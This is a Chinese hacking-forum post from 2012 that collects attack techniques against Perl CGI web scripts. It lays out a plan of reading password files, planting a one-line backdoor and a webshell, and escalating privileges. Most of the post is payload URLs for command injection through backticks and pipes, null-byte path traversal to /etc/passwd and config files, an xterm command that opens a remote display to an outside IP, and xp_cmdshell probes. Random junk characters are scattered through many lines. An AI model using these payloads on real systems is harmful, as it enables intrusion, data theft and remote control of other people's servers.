找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2566|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  - w" A* j; H# `8 z( ~8 a
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  - t6 i5 O5 R: w( e* T
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们    D; p6 [, x" b. R3 B7 k1 C( ?
注“  % @& _. b5 y8 c/ X+ j, v5 }  {
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
4 [+ ^7 s7 O% B9 a; G以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
8 h4 n7 Z' D. C# j) k# m
3 s) r4 Q( l2 Y0 P' W% c, nhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  7 q: x/ y( M2 U0 y" c
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
  Z3 Q  w! O2 x  e' qhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
4 d# \5 {: P' D. K& Jhttp://target.com/cgi-bin/home/news/sub.pl?`id`  & k: T9 ^" H# r! T
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  ( m/ A# {5 W1 g  x+ P5 H
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  9 ], v: x$ _" u! @

* ?) q1 y. |: i( ahttp://target.com/test.pl;ls|  
3 e0 u4 n( d( f$ `0 Whttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
. ?5 }5 W/ Z7 d& F: lhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
3 l# ?0 R, N- {# ?0 M- uhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  $ A) y; h2 f  d
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
9 E; F3 K$ M3 Y, \5 V3 k7 V% ihttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ! [( ]7 r4 W5 U6 ^* }
* E! m4 D. `  m, p: F
http://target.com/test.pl?&........ /../../etc/passwd  6 n3 E  G. d& q" n: ~

/ g: E4 {. s* i8 O1 ]http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  ) w& U  ?# ]3 d0 A5 o1 z- a# r3 H4 b
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
; G8 B1 Q% n; v; Z0 o+ Y7 E, G+ nhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
1 e8 ]$ j: a5 H) V  s! _; B# l9 h9 |- L6 e. Q1 g* }/ a$ X  W. t
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
1 i2 [: I) p7 D- u8 A8 dhttp://www.target.org/show.php?f ... ng/admin/global.php  
* U& e# u  @, M" v1 z6 A0 W# P5 M& z8 X+ s  B+ z2 i
emm和ps的一句话7 j8 O: V3 Q  C! _

- Y( ]; k; j4 r3 X7 u% Rhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
: }3 l& _! C4 A+ H$ u. N: e
5 }' D* Y- \4 S& ^& u! h7 B7 ]! z) N>bbb%20|  9 b1 z: }" Q: {
# s  {. d7 x; P0 d3 D( `
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ) v* j4 m; d1 E# @

; D$ e4 E1 v1 Qhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ) r7 f  p  ^( ]5 g0 `  [8 J2 V
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  * \% ^: `( Y1 O
+ ^% q0 \" X1 `+ w
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ) n% {; n4 u/ @' J
http://target.com/index.html#cmd.exe  
1 k% v7 F# [, {, k( Y% Qhttp://target.com/index.html?dummyparam=xp_cmdshell  * y& Y; e; ?: o" u4 w( m: Y( S! T
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  / l0 d6 e& J0 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表